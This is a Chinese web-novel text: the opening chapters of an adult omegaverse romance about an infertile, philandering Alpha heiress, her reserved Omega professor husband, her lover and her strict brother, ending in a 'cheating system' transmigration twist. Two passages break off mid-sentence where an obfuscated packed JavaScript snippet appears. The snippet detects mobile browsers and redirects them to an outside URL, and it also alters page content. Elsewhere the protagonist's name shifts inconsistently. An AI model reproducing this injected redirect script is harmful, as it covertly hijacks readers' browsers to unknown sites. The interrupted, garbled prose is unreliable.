《门洁烈夫》 1. 绝育的Alpha 联邦,中心区。 繁华的城市天际线,一条延伸向远。从最高点的顶级双层公寓望出去,窗景开阔。 「余见抒」赖在床上,手臂环起来,紧紧圈着一杆劲腰。 被她抱着的小情儿叫「兰斯」,长腿薄肌,金发碧眼,金是浅白色的柔软毛发,碧是澄澈到透亮的一汪湛蓝,这是一位漂亮极了的男Beta。 兰斯低头望向枕在膝盖上的女人,手里轻轻捧着她的后脑勺,温柔地哄她说:“妻主,该起床了。” “说了不去,”余见抒不耐烦地翻了个身,头拱向他的小腹,半梦半醒地嘟囔着,“就一个破体检报告而已,要老娘过去接他就算了,还得当面一起会谈医生,那姓林的,肚子不争气就直说,非得让我哥折腾我干嘛……” 余见抒是暴发户出身,家里早些年挖矿,赚得盆满钵满,顶上又有个哥哥算成器的,早早进了公司接手历练。 身为家里唯一的Alpha,她只管混池混喝的,再联个姻,传宗接代之类的,尽个责就完事儿。 没曾想,婚前说好了AO各玩各的,这么三年不见动静,就连她哥也来急着催她查身体了。 “可是……” 余见抒趴得久了,脸庞边倒是蹭到了什么,一抬头,兰斯红透了耳根,闪躲地偏离了视线。 余见抒坏笑,翻过来把他摁在身下,床垫弹了弹。 “你不也舍不得我走嘛?” 兰斯抬起手背遮住嘴唇,像是害羞的半遮面,不让她亲,一双圆溜溜的蓝眼睛却看向她:“妻主答应过要给我买新琴的,要是这个月余总又不发生活费,没个琴练,那我干脆回帝国算了。” 上个月的某一晚上,繁星漫天,兰斯挨在落地窗旁,背靠着夜景的一片璀璨光芒给她弹琴,余见抒一喝醉酒就兴致来了,当场一抬他臀腿,把人架在琴上。 这么一搞,她上大劲了,没轻没重的,把琴撞得挪到了半圆台的楼梯边,叮铃哐啷滚了下去,碎得后架上的整块音板直接裂开,弦码散乱一地。 兰斯气得拿拳头捶她,抽泣了小半夜,听余见抒赔礼道歉。 “怕什么?这样——”余见抒咬着兰斯的耳朵哄他,“我手里头还剩小二百万,等下个月再攒攒,给你买个更好弹的斯坦威。” 至于怎么攒? 当然是老老实实听她哥的话,捏着鼻子去陪那位林教授了喽。 * 英大,联邦的最高学府。 余见抒没指望那位在高校任教、被捧得高高在上的Omega能第一时间出来。 她停了车在校门口,随便去附近的咖啡馆里买杯浓缩的,还没等坐下来,就听见后边有些小动静。 “林老师,好巧,您一个人出来吗?” 凑上去的是一个健康的年轻女孩。 韧性的手臂肌肉,流畅的腿部线条,身材有训练痕迹。 蓬松的波浪卷,浅棕色的,很有光泽,X背叉的白色小吊带,深黑热裤,掐腰的细棕色皮带和腰间的发色作呼应,干净利落,又不失自信火辣。 “没有,我找人。” 回应的人就显得冷淡疏离了许多,他简单地颔首,浅浅对女孩点了点头,却并不曾过多停留,径直往里走。 余见抒自然不会避讳,抬腿一迈,先靠近林奚因地身侧,仅仅几分距离,就能行云流水地挡住女孩望他的视线,半点儿不刻意。 林奚因先她一步开口道歉:“不好意思,我来晚了。” 实际时间还早,约的医生会谈在午后4点,这会儿整点都没到,林奚因说的晚,是指他让余见抒多等了一杯咖啡的时间。 余见抒压根没停下脚步,就好像是恰好路过那样,步调轻盈地从林奚因和女孩之间穿梭了过去。 只在他身边擦肩的时候稍微一缓,顺势把手里的咖啡塞进他掌心。 “走吧。”余见抒微微低头,向他的眼中投去一道含有轻佻笑意的视线。 几秒钟的功夫,袁雅没搭上话,空落落的被撂在一边,就这么惊讶地立在原地,看林老师跟随在一个高挑的女人身后,就这么温驯地走了出去。 “喂,这该不会就是林教授的对象吧?”袁雅的闺蜜一个探头张望,好奇地凑到她耳边说悄悄话。 “是Alpha。”袁雅视线一挪不挪地盯着外边,垂在身侧的手却情不自禁地攥紧了拳头。 Alpha脖颈长,肩膀直,胸挺背薄,腰短腿长,臀部饱满挺翘,手腕过胯,手臂和腿部的肌肉健美有力。 ——高挑的身量,得天独厚的肢体比例,这一类优越的精英群体几乎全是Alpha,在全联邦总性别中稀少得仅占约1%,一眼望过去是很好辨别的。 “啧啧,瞧瞧那车,比你去年成年礼上收的那辆都靓,这怎么比得过嘛?”闺蜜嘀咕说,“早就听说林老师嫁入豪门了,怪不得他的实验室经费都是咱们学校第一档次。” 袁雅直盯着街外,望着那辆嚣张的超跑一路扬长而去,不服气地说:“他也不一定就喜欢她。” 身边的闺蜜是英大的同学,她不在圈子里,摸不清那些人的底子,袁雅却是知道的—— 林奚因是被迫嫁进了余氏家门的。 落魄的林家就收养了这么一个长相清俊、学历又高的Omega,也只有打包把林奚因出卖了,这才能靠着余见抒她哥给的订单继续苟延残喘下去。 袁雅曾经估算过她将来能够从爷爷那儿接手的家族产业,单单拼资源,她能给林老师的前景,也不比混吃等死的余见抒差。 她有胜算。 * 中心街区域,十车道并行,超跑开不上速度,却也能一路卷着风凉快。 余见抒戴了一副墨镜,手臂伸直把着方向盘,瞥了一眼副驾,调侃道:“早就听说学校里有个漂亮的Beta小姑娘在追你,还是袁老爷子家的小外孙女,今儿可算让我瞧见了。” “……”林奚因保持沉默。 余见抒又问他:“她年纪还不大吧,是你们专业的学生?” 林奚因说:“不太清楚。” 他手里主要管着的是重点实验室,既要出科研成果,又涉及各个企业的合作应用项目,事务繁多,所以每学期也没安排什么固定执教的课程,只是偶尔受邀请去进行公开讲座,在英大校内和校外都有。 林奚因对袁雅印象不深,依稀有几次讲座结束之后,答疑期间,女孩举手了几次,提的问题都比较浅薄,不太能抓住重点核心。 “啧,”余见抒停在红灯口,偏头凑过去,“难得有个情敌的动静,你仔细讲两句,让我支棱支棱呗?” 林奚因嘴唇嗫喏,最后却只憋出来一句:“真没什么。” 余见抒看他连张嘴吱个声都奉欠,三锤子打不出一个屁来,莫名觉得晦气。 “成,算我多管闲事。” 绿灯亮起,余见抒故意敞开了车顶蓬,一轰油门直冲出去,任由风卷乱了林奚因额前的发丝,让这个往日里一丝不苟的男人显得有些狼狈。 * 她倒是想要整整他,比如等会谈结束,趁俩人独处的时候,故意释放点儿信息素缠上去,看林奚因出糗的样子。 可惜,这样的小恶意并没能持续多久。 “我…不行了?” 私密的洽谈室里,余见抒一手撑在医生桌前,一手攥着那张诊断结果,难以置信地瞪眼说。 信息素紊乱综合征,99.9%杀卵杀精,不孕不育。 本来喝的酒多了,她又是威士忌味的信息素,烈度愈烈,浓度更浓,想不杀精都难。 医生推了推眼镜,平静地陈述说:“这种新兴病症非常棘手,单凭现有的最新研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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用大白话来讲,余见抒和林奚因,一个女A,一个男O,即便从外貌上能直观分辨男女,俩人实质都是既有唧又有哔的,区别只在信息素和雌雄性|激素的分泌多寡而已。 偏偏她不孕不育,林奚因倒是健康得要命。 * 地库,停车场。 四下里没人,余见抒一出电梯,就甩着车钥匙,埋头往前走。 她一边走,一边头也不回地义愤填膺道:“这下好我绝育啦,你高兴了吧?” 余见抒听背后闷声不响的,安静得奇怪。 一扭头,见林奚因立刻说了一声:“没。” 他觉得她很奇妙,像在护着蛋|蛋的小猫,咬着格外在意的字词,一嘴一句都嘟囔着绝育。 “没有那你停顿个什么劲儿?” 余见抒更愤懑了,Alpha脆弱的尊严岌岌可危。 她气急败坏地扯着林奚因的手腕拽过来,把他扔到后座上。 “妻主。” 林奚因这下倒是轻轻地喊了她一声,被惯性推得躺了下来,撑着后肘仰头看她。 衬衫的衣领稍微松散了,像是扰乱了某种秩序,凌乱好似一种慵懒的勾引。 优美的锁骨线条,冷白色调的干净皮肤,微微冰凉的湿润气息,一股子的清冷感。 偏偏,余见抒最见不惯的就是他这副木头似的作态了。 打不还手,骂不还口,不哭不笑不说话,猜不透他在想什么。 她压上去,粗暴地抬手,扯得林奚因的衬衫半褪,肩膀整个露了出来。 “你不是健康得很嘛,让我闻闻戒酒戒烟戒糖的信息素到底是个什么味儿!” 说着,余见抒不假思索地弯腰低头,虎牙一龇,朝林奚因的腺体啃了上去。 动作之间,男人情不自禁地伸长了脖子,像引颈受戮一般更往前凑了几分,隐约似乎有一丝叹喂从他的喉咙口溢了出来,细微的痛吟|声。 2. 返贫的Alpha 阴凉的空间,静谧的地下,车里。 余见抒一手俯撑着皮质的座椅,一手还能以掌心稳稳扣在男O的后脑勺上,她的左膝盖往上顶,侵占进对方的领域,将他的胯骨向两侧撞开。 这个姿势比较考验核心肌群的力量,余见抒是惯手,游刃有余地就能将林奚因玩弄在股掌之间,甚至还有闲心思做中控,调整一些细微的节奏,吮吸的力度,以及接吻的轻重。 “呼吸。” 余见抒轻轻一松唇瓣,两人身体交叠着,挤得后座狭长的空间稍显逼仄,鼻尖距离鼻尖不到半公分,热气升温。 光只是Alpha妻主的一声富有磁性、尾音深长的提醒,就能震得林奚因头皮发颤。 “不……”林奚因与其说是在推攮她,倒不如说是欲拒还迎,将手搭在了这个陌生又熟悉的妻主的肩上。 当掌心下移,不小心触碰到那女性才独有的一团柔软组织的时候,林奚因又一个激灵。 这样,即使余见抒毫不避讳地挺了挺胸膛,戏谑的视线故意挑衅他摸,他也触电似的弹开了手。 可是他又找不到落点,像暴风雨里海上的一叶扁舟,被余见抒一阵席卷而来的信息素浪潮裹挟着,荡来荡去。 酒精味儿,太浓了。 林奚因听到妻主再次不愉地提醒他:“别用鼻子,喘出声儿来,张嘴,深呼吸。” Omega的腺体属于显性性状,位置处于后脖颈靠近肩胛骨的斜侧,具体偏向哪边则是因人而异。 比如说林奚因的腺体,就在左肩斜方肌边缘、靠近脊椎骨的那一小块,哪怕穿短袖白T也能被后衣领将将遮住,隐晦含蓄。 单描述外观,腺体平时隐藏在皮肤以下,日常看是白皙光滑、细腻平整的。 只有在Omega情|动时,那里才会肿胀起一枚凸起,大约为一元镍制硬币的尺寸,像肌肤上浅色的增生,像蚊子咬过泛痒的包,却并不狰狞。 那是淡粉红色的,仿佛早春微凉风里颤抖的浅樱花瓣,且不像春花灿烂那般任人观赏,反而唯一仅属于他的妻主,不言自喻地传达着某种贞洁情操。 余见抒在用两颗尖锐的虎牙浅浅磨着男人的腺体。 作为挑|逗之间的意趣,她给别人嘬过的草莓不少,其中不乏喘得悠扬婉转的小百灵鸟。 可说到底,「种草莓」只不过是吮吸对方脖颈上的皮肤,所被满足的征服欲胜过纯快|感,口感却跟自己嘬胳膊肘差不了多少,余见抒也只是偶尔跟那些年轻美人随意玩玩而已,没太沉迷。 这样一来,就显得「临时标记」的新鲜感愈发与众不同。 舌尖舔舐着肿胀的腺体,那一丝丝的清浅就被刺激得渗了出来,唇瓣触及的微烫温度,像饮了一口山泉水,咂摸咂摸好像会回甘。 然而,余见抒却吝啬于半句夸奖,反倒是抬起身来嗤笑一声对他说:“还真是白开水味儿的啊你。” 面对她的贬低,林奚因还是那副不卑不亢的样子,手肘撑起来向后靠,将滑落的衬衫扯回了肩膀,碎发在额前散落一小片余荫,遮住了眼睛的光。 “你应该早就知道了。”林奚因的视线投向黑暗的角落,并没有直视她。 “我这不忘了嘛,还当你是在胡诌……”余见抒随意地敷衍了他一句,耸肩说,“那你要不乐意,这临时标记做到一半儿也行。” 仔细一回想,当初结婚那天晚上,林奚因也是一声不吭的,像一条死鱼似的躺在床上,就这么任由她睡了。 余见抒吭哧吭哧做完,事后任劳任怨地把林奚因抱去浴缸里泡着,回来一吸鼻子没闻到味儿还纳闷。 她掀了掀被子,又扯了林奚因的枕巾,从地上捡起乱扔地礼服,跟狗似的左嗅嗅右嗅嗅,除了她自个儿的酒味之外,那是半点儿没别的。 也就是那一次,她以为这男O嫌弃她,故意在新婚夜打了信息素抑制剂,想给她个下马威,所以才一翻脸砸门就走了。 没想到,林奚因这时候多接了她的话,以轻微的疑惑语气冒出来一个词:“标记?” “是啊,”刚亲过的滋味还在,这会儿余见抒也没冷着脸了,反倒暗示地笑了笑说,“没感觉浑身都轻快了不少嘛?Alpha的信息素可比一些市场上禁用的兴|奋|剂都提神多了。” 像分泌毒液的蛇,Alpha的小虎牙内也有一根液管,能够以麻痹不痛的感官将信息素注射道Omega的腺体中,从而达到宣誓主权的作用。 临时标记的时间限制约在5到7天,具体时长取决于Alpha的体质。 按照余见抒以往的经验,就她这种信息素紊乱到烈度过高的,能让林奚因顶着她的信息素过上大半个月的,期间任凭哪个Alpha接近他都能捂着鼻子被呛走。 至于长期标记,那需要配合「易|感期」、「成结」等深度行为,可遇不可求。 “……”林奚因陷入了沉思。 余见抒忖度他的神情,坏笑着凑上去说:“怎么,该不会咱们林大教授连一个临时标记都没跟别人试过吧?当年你就那么清白地嫁给我了?” “妻主,不能纵欲。” 林奚因并没有否定,只是推开余见抒的脸,犹豫了几秒,整理仪容起身说:“我去开车。” 然而,刚下车,林奚因瘦削的身影就立着晃了晃,他扶了扶额头,脸颊的酡红还没消退,似乎有些半醉。 余见抒扒拉着车窗,没好意地笑着说:“还是叫代驾吧?” 就这节骨眼,她俩谁开车被查到都能算酒驾,要自证还得拿着信息素鉴定的医学材料去联邦中心区的交警执法大队把扣掉的驾驶员分补回来,得不偿失。 林奚因刚被标记到一半,浑身振奋,心率飙升,心脏快跳到嗓子眼,迫切想去凉风吹拂的大街上狂奔一阵,可偏偏他又醉酒,天旋地转的,这种感受实在失控。 而他的妻主,那位身经百战的情场高手,却在这种时候用起了示弱和说甜话的手段。 他听余见抒说:“我也没怎么标记过人,自打从结婚以来,哎呦,那贞洁的,简直像朵小白花,刚才医生说我纵欲,那些都是假的,你可千万别告诉我哥啊……” 她念了好多话,可是却没一句是真的。 林奚因心里百转千回,就像之前无数次情景那样,思量着打了许多句腹稿,到最后却没有勇气说出口。 他真的怕了,怕又说错话。 像三年前新婚那夜一样,他才在浴缸里拥住她的肩膀,小声说了一句告白,等转身出来,就发现房间里空空荡荡,那个绝情的妻主一走了之。 * 像大多数Alpha都有的劣性根一样,余挽江的身体跟脑子是分开的。 哪怕才刚跟林奚因在地库里激吻过一阵,也并不妨碍她的心里头有个牵挂,还惦记着兰斯的事。 真要控诉她花心滥情,对男O媳夫不道义,又得提起当初在联姻之前,双方就签好的协议。 厚厚一本合同,半本划清婚前财产,半本写明离婚事宜,就连余见抒养小情儿的条款,也都是林奚因逐行逐句读过,最后才落款签字的。 论及家世,余家对林家,她是低娶,他是高嫁。 她享受了恣意玩耍的快活,他接受了巨额的科研经费注资,还回馈了养父母大笔的订单。 所以余挽江半点儿不怕得罪媳夫,唯独忌惮的是家里掌握她经济大权的那位好哥哥「余见英」。 * 眼下,在一幢高档公寓楼下,成排的黑色轿车整齐停住。 抬头遥望楼顶,那位被她金屋藏娇的小美人,正在落地窗边招手,电话里跟她哭诉着:“他们突然挡在门口,也不让我出去,现在可怎么办呀?我好害怕,妻主……” 余见抒之前在医院叫了代驾,半道儿停「东湖湾」把林奚因送下去,这才转头回到了「栖庭」。 没想到一下了车,就被一群剽悍的西装大汉给团团围住。 “没事儿宝贝,好好在家待着,等我处理。” 余见抒倒也不慌不忙,语意轻缓,先安抚了几句兰斯,等挂掉电话,这才转了一圈环顾身侧。 “冯叔?”面朝为首的中年Beta,余见抒喊了一声。 “都是熟人呐,怎么一块儿聚在这里?”余见抒轻盈地笑道,“难不成我哥把栖庭的物业给买了,还特意叫你们来帮忙?” 冯叔这群人,是余家漕帮的旧人后代。她家祖上在百年前靠涉水谋生,数十艘船只,有货就运,没货就抢。 自联邦建成以来,余家洗白上岸,在高原承包下好几座山的矿脉,开采洗炼,这些年也是做正经生意。 唯独手里额外弄着几个保全公司,做些保镖生意,给以前那些身手矫健的熟人家后代混口饭吃,冯叔算里边能主事的。 “小姐。” 冯叔冲她一点头,说话气沉丹田。这个稳重的中年人腿脚扎实,双拳骨节上都有厚厚的老茧,一看就是练家子。 话音落,他身后一群身板硬朗的年轻伙计都立刻90度鞠躬,令行禁止,整齐划一的,哗一下风都能扑起一小阵来 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上面摆的最清晰的,是她所拥有的固定资产,房子包括铺面、写字楼、别墅、公寓等,车子则是各个地方随意闲置的跑车、赛车、越野车好十几辆,车牌尾号和购置时间都标得清清楚楚。 还有可持续创造被动收益的盈利资产,包括几家交给狐朋狗友和代理人经营的餐厅、跑马俱乐部、滑雪场等,甚至还有她抓娃娃上瘾的时候装修搞起来的一整层楼自助抓娃娃机。 余见抒的眼皮子跳起来了,试探着问:“这些该不会你们都要派人去守着吧?” 周秘书礼貌微笑:“您自然是知道余总的手段。” “至于平时跟您交情好的那几位玩伴,我也已经提前以余总的名义跟他们沟通过了。对方承诺,但凡遇到您来借钱周转的情况,届时都会统一婉拒,还请放心。” 她哥说的冻结,那自然是简单粗暴的物理冻结。 就跟栖庭这儿的顶层公寓似的,光堵着不让进也不让出,不是动粗却胜似暴力破解。 想报警?那是她的长期饭票,她嫡嫡亲的亲哥,告了她哥把她哥抓起来是爽了,那她零花钱怎么办? 好死不死物业还被余见英给收购了,冯叔他们进出畅通无阻,待在这儿就直说是当保安在巡逻,半点作用没有。 这就是余见英对亲妹妹的惩罚手段,想让她听话,就这招百试百灵。 * 记得在高中的时候,她玩得没轻没重,不小心把一个青涩的学长Omega摁进泳池里,害得人家呛水进了医院,差点没缓过来。 就那次,余见抒也一样挨罚了,她哥怕给她溺爱成一个草菅人命的纨绔,就用这种手段狠狠整治了她一番。 那段日子里,余见抒是叫天天不应、叫地地不灵。 那些跟她称姐道妹、称兄道弟的同学发小们,一个二个都躲着她,跟见了遭瘟的耗子似的。 余见抒手上没钱,屁股底下没车,连个能睡的屋檐都被人挡着没法进,凄惨过了几天,立马识相地回去滑跪。 不然还能怎么着?幸福的小二世祖那可是得靠家吃饭的。 她要是非得跟她哥派的保镖动手,人家搏击散打专业级水准,想打都打不过。 还不如废物地服软,小情人是养不起了,大不了先把兰斯送走,等过段时间再接回来。 这么一想,余见抒委曲求全地掏出手机,拨给了兰斯,轻声哄着说:“乖宝贝,收拾行李下楼,咱今晚就订机票,送你回帝国。” 接着,丝毫不顾兰斯疑惑的惊呼,余见抒挂断了电话,准备上楼去陪他一块收拾。 电梯里,她掰掰手指一掐算,账上就剩小200万的流动现金。 降降档次给兰斯定制个180来万的钢琴,正好包邮的收货地址填到帝国的「圣约州」去,能省一笔国际运费。 其他钱,机票旅费5万,给遣散费20万,等到今晚过了,从机场送完兰斯回来,她手里最后还能握着3万的现金,有零有整的,够打车去她哥公司楼下滑跪,再吃几顿好饭,计划通。 这么一想,余见抒觉得断崖式的噩耗日子又有盼头了。 只不过,到底是谁给她哥告状,害得她哥又要罚她的? 细想她这俩月安分守己的,硬要说闯了什么祸,无非也就是体检报告糟糕了点儿,难道不孕不育也算是草菅人命吗? 还是说,林奚因在背地里记恨她,悄悄去给余见英告状了? 3. 脱轨的Alpha 联邦,3环E区,奥洛兰机场。 从中心区辐射向外,圈3环以内是寸土寸金,自3环起,又按东E南S西W北N划界4区,奥洛兰机场位于东E区,在这里起降的飞机多数是往返帝国的。 临近深夜,登机前,两人作最后的吻别。 “你有空会来看看我吗?” 兰斯熟悉余挽江的脾性,像她这样的Alpha从来都不缺爱慕者,热恋的时候能把你捧高了摘星星,一冷淡了绝情起来那也是眼皮都不稀得多抬一下。 但是看眼下,既然她还能好声好气地来送机,那他也不算彻底失宠,只要不无理取闹、死缠烂打地惹她心烦,稍微撒个娇挽回一次分手|炮享受享受,那还是有可能的。 “当然,”余挽江微笑着,好整以暇地敞开手,任他替自己整理胸前的衣襟,“记得给我发你演奏会的邀约。” 兰斯凝视着她,修长的手指抚摸着向上轻移,逐渐指腹摩挲到她的耳后和颈窝。 挂钟悬空在VIP候机室,极细的秒针啪嗒作响,优游地容余了近数十圈还没来得及转动。 “趁现在时间还早,”兰斯压低嗓音,隐晦地向她耳语道,“要不要最后咱们再一起……去一趟洗手间?” 余挽江被他的鼻息吹得耳朵痒痒,婉拒说:“算了吧,这会儿子不方便。” “更刺激的场合又不是没玩过,”兰斯实在感到有点可惜,努力争取了一下说:“……我可以帮你用嘴。” 这话轻巧一句,说得余见抒眉毛都挑起来了,她捏了捏兰斯腮帮子上的软肉,调笑说:“真难得,平时哄你哄半天都还拖拖拉拉的呢,这下倒是主动招起我来了?” 兰斯顺水推舟地凑近,暧昧道:“那到底算招没招到?” “停。” 余见抒斩钉截铁地打断,坚决握住了某只缓缓往她那儿下伸的手,掐着兰斯的手腕,苦笑说:“我倒也挺乐意的,只不过身体,实在没办法……” 作为一名富有涵养的Alpha,为了维持自己在情|场圈内的好名声—— 最后一炮在机场厕所,而且还白睡不给钱,这样的事一旦宣扬出去,既有些难看,更不符合她的完美主义。 更何况,遣散费刚给了20万,要是临时把持不住再抱一炮,她可没几万余额加钱。 “怎么会?”兰斯面露惊讶,再一联想到余见抒前阵子不久去做的体检,今早出门去拿的诊断报告,不由迟疑地说,“可是,昨天晚上……不都还好好的吗?” 甜言蜜语接连不断,花活频处,既猛烈,又持久……甚至可以说时间长到不可思议,就连兰斯这样定期健身的人都虚脱了好几次。 那哪儿像个肾|虚了萎|掉的Alpha? “唉,我也没想到那么突然……”她不是弱了,是过于亢奋,之前还得意洋洋地以为是她余娘子天赋异禀,没想到真得了病。 话赶话说到这里,余挽江装作支支吾吾的样子,故意抬起一个凄惨的苦笑:“真是意外。” 她可是从小靠赚家里钱混大的老幺,早就磨炼出了精湛的演技,论起伪装有什么难言之隐的诀窍,那可以说是信手拈来。 余挽江颓丧道:“你知道的,我这个人一直都很要强,不到万不得已的时候,是很少示弱的……” 以情绪开场,先铺垫好了抓住听众心神的前奏,她继续娓娓道来说:“这种脆弱的话我也只跟你一个人说说,我哥他……突然断了我的分红和生活费,副卡也给注销了,我现在是身无分文,走投无路,都不知道明天要住哪儿……” 卖惨了一阵,她带着奉献牺牲的无私情怀,深深地注视着兰斯的眼睛,动情地说:“也只能赶在还能护得住你的时候把你送出去,免得跟我一起吃苦受罪。” “妻主……”兰斯感动极了,眼睛里泪汪汪地泛着动容的光亮,他拥抱住她,遗憾地说,“我也想尽可能地帮帮你,可是周秘书说,既不能把你带到帝国养在家里,更不能给你转账一分钱,否则就算违约。” 兰斯委屈地小声说:“那份合同给好多钱呢,够办好几场独立音乐会了。我也是一不小心着了迷,就鬼使神差,等到回过神的时候都已经签完了,再想反悔看违约金又那么高……妻主,你不会怪我吧?” 余挽江:“……” 怎么周秘书把你也给搞定了呀宝贝? “不过没关系,”既然离别炮都已经落空了,兰斯一下子豁然看开,话锋一转说,“寄点小东西应该还是可以的,等你找到了新的落脚的地方,就把地址发给我,我买些玩具送给你,那种小海豚的吮吸头也很爽的。” 纯粹设计的外置玩具,无疑是一项更加贴合女本位和O本位的最优选择。 “谢谢,”已经被假定成了没法儿支棱的,余萎江女士,皮笑肉不笑地说,“最好是足金的,那种我会更喜欢。” * 她和兰斯本就挺合得来,闲话摆一摆,情话堆一堆,就这样掰扯到了时间。 余挽江是买了票,和兰斯一起安检进来,陪他在候机室喝咖啡,最后目送着兰斯登机,她却没跟着上去。 完事儿把手里的机票一扔,扭头离开机场,对前任她算是仁至义尽。 白天的超跑被冯叔他们挪到栖庭的架层车库上扣着了,余挽江两手空空一条Alpha,出来站在牌子底下的路台边。 先是婉拒了一个凑上来搭讪的男大,这才随手打到了一辆出租。 她找就近的酒店,开间房进去,向前一扑埋进柔软的床垫里,立刻倒头大睡闷了一觉。 【叮!检测到目标人物,出轨系统准备中……】 睡意朦胧中,脑海似乎响起了一阵无机质的电子音,隐约还伴随着进度条加载运转的音效,突兀且不容忽视。 余挽江被莫名其妙地震醒,猛地一睁眼,已经是早晨了。 她没起身,就这么平坦地仰躺着,望向黢黑一片的天花板,只有靠近窗帘缝隙的那个角落被光线照亮。 再从床头柜掏手机,发现刚才有条短信冒出来,所以才嘀声弹了一下。 点开短信,显示是栖庭茶室每个月会费的自动扣款通知。 余见抒一想到昨天那个邪恶的周秘书,喝了她的茶,调虎离山赶走了她的小情儿,还得要她来付账,立刻没出息地翻wx戳了戳栖庭私人管家的工作号,发消息说要退个会员,以后不再缴费。 栖庭的管家当然是火速就打电话来赔礼道歉了,问是不是哪里服务态度不好,还有改善和提升的空间,又要送小礼品上门,说是冰皮月饼礼盒。 余挽江听了几分钟,脑仁嗡嗡的,最后干脆落下一句“不用”,就把电话挂掉。 屋子里静悄悄的,酒店玻璃防弹,隔音做得非常好,连鸟叫声都听不到。 余挽江深呼一口气,感受着极静时耳蜗里细微的频率,有胸腔起伏、蹭到发丝或床单布料的摩挲声。 这下清净了。 再一手滑,摁下指纹密码,看到手机银行里降到5位数的余额,余挽江终于了然。 果然,人一没存款就心慌,慌得她刚才脑子里都幻听了。 光抠搜没用,节流不开源,治标不治本,要想搞钱,还得去找她哥。 * “余小姐。” 等余见抒吭哧吭哧赶到她哥总公司,混进门禁,再坐电梯到16层,出来爬楼梯上18层的时候,已经快过了正午。 还是熟悉的周秘书,还是那一身笔挺的西装,板正的领带,将西裤绷紧挺翘的臀部,抛光锃亮的皮鞋。 只见他非常友善地来到消防通道这边,替她打开了靠近的玻璃门,然后仪式性地进行宣告—— “今天上午执勤的保安,替您扫人脸识别闸机的员工,帮您刷电梯卡的保洁阿姨,我们都会逐个通知到位,让人力给他们重新做保密防范培训和考试,避免下次再有这样外部人员混入公司的情况发生。” “别这样啊,”余见抒进秘书室的茶水间给自己找了个纸杯子接水,吨吨喝完才说,“我好歹也是你们公司的大股东。” “走关系的话请您留着跟余总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766663|174631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。”周秘书油盐不进地回应说,嘴角微笑的弧度精准匹配他的百万年薪。 余见抒问:“那你们余总在哪儿呢?” 他哥作为卷王老板,拥有着随时洽谈员工、爱下基层、出差现场的恐怖习惯。 就连办公室都是全透明玻璃的,从发财树的缝隙间一眼就能望见那宽敞的大办公桌,上面摞得高高的资料和文件,却不见人影。 “余总到英大考察去了,”周秘书轻轻推了推鼻梁上的银丝眼镜,“顺便做半场演讲,颁布奖学金,参加实验楼的剪彩仪式,并向林教授了解了解您的近期婚姻状况。” 英大杰出校友,著名青年企业家,余见英。 同时也是肝神护体加班狂魔,单身不婚主义Beta,终极抖S管教型严厉妹控,对他在英大求学期间发掘并培养的模范生学弟林奚因颇为赏识。 “啊?”余见抒当即就一脸菜色,没骨气地咕嘟说,“你们是怎么给他排的日程?非得上赶着弄这些事儿,就不能给我拖一拖嘛?” 周秘书立在原地,暗含深意地注视着她,反问了一句:“你说呢?” 靠窗的茶水间里,安静的角落,哑光纯黑面的立柜式和长势旺盛的发财树之间很好地形成了一个掩人耳目的夹角。 余见抒人高马大的,周秘书比她矮上十公分,却挺胸抬头,下颚矜持地微微仰着弧度,像是在耐心地等待,引君入瓮。 “啧,”余见抒无奈手一撑在墙上,把周秘书壁咚起来低头嘬了一口,“这下总行了吧?” “敷衍。” 周秘书冷淡地评价了她一句,垂头正了正衣领,向前半步,贴合着冰凉墙面的脊背重新又直立起来。 “那你到底给不给我出主意啊,”余见抒一拍脑门想起来,“对了还有,把车借我一下。” 周秘书立即轻飘地白了她一眼,眼神里含着几分嫌弃的意思说:“袁家的小外孙女计划在今晚向林教授表白,玩的都还是小姑娘那套,蜡烛玫瑰,烟花无人机,具体细节在英大的论坛里。” 余见抒也是英大的校友,当年靠砸钱资助上的,期间还去帝国交换留学了几个学期,回来临毕业跟周秘书谈过一段。 联邦就这么破学|阀,毕业后一个圈子里到处都是同窗熟人,大家从天南海北捣鼓进来,要么靠会学的真本事,要么靠真有钱的本事,总归是聚拢在一块绑成了极其紧密的利益团体,幸亏都是纯互惠互利的正经行业,没违法犯纪。 总之英大的论坛是个热闹的地儿,只有在校生师生和校友才有权限登录进去,话题五花八门,从创业竞赛到出海捕鱼,从鬼故事八卦到筹备表白,应有尽有。 眼下,他慢条斯理地掏出了车钥匙:“您要是能赶在校友宴会一散场,就立刻去把余总跟林教授接回来,至少能够阻止那两位找时间细谈您的事,更避免了三个人一起目睹这种进退两难的尴尬情形。” 余见抒一看他拿给她的车钥匙,贴了标签,还是辆奥迪,显然是公司里专事专办的公车,立马就明白了。 她当场一乐,打趣他道:“好呀你,我苦哈哈地去替你干活,你可倒好,一两句话指使完,就能提前下班咯?” 真是邪恶的周秘书,心机深沉的臭脸比格前任。 周秘书被她当面戳穿了也毫不避讳,反倒是气定神闲地叮嘱了一句:“路上小心。” 也就是这一句路上小心,余见抒才刚一踩油门上路,立马就两眼一黑,只来得及一扭方向盘朝空当没人的地方避让,避免追尾,接着很快就晕了过去。 “嘭!” 银灰色的奥迪横冲过去,一弯撞上了街边的垃圾分类柜,安全气囊瞬间弹出,爆出一声巨响。 幸亏原本时速只在40公里上下,按理车内的驾驶员还不至于重伤,可余见抒却陷入了深深的昏迷之中。 【叮!出轨系统启动!】 【已选中TAG标签对象——「出轨惯犯」:李见抒】 【正在绑定技能:双重身体】 【初次投放,技能生效中……】 4. 双重身体 出车祸穿越,老套路了,属于旧瓶子。 穿越后出车祸,也不稀奇,属于旧酒水。 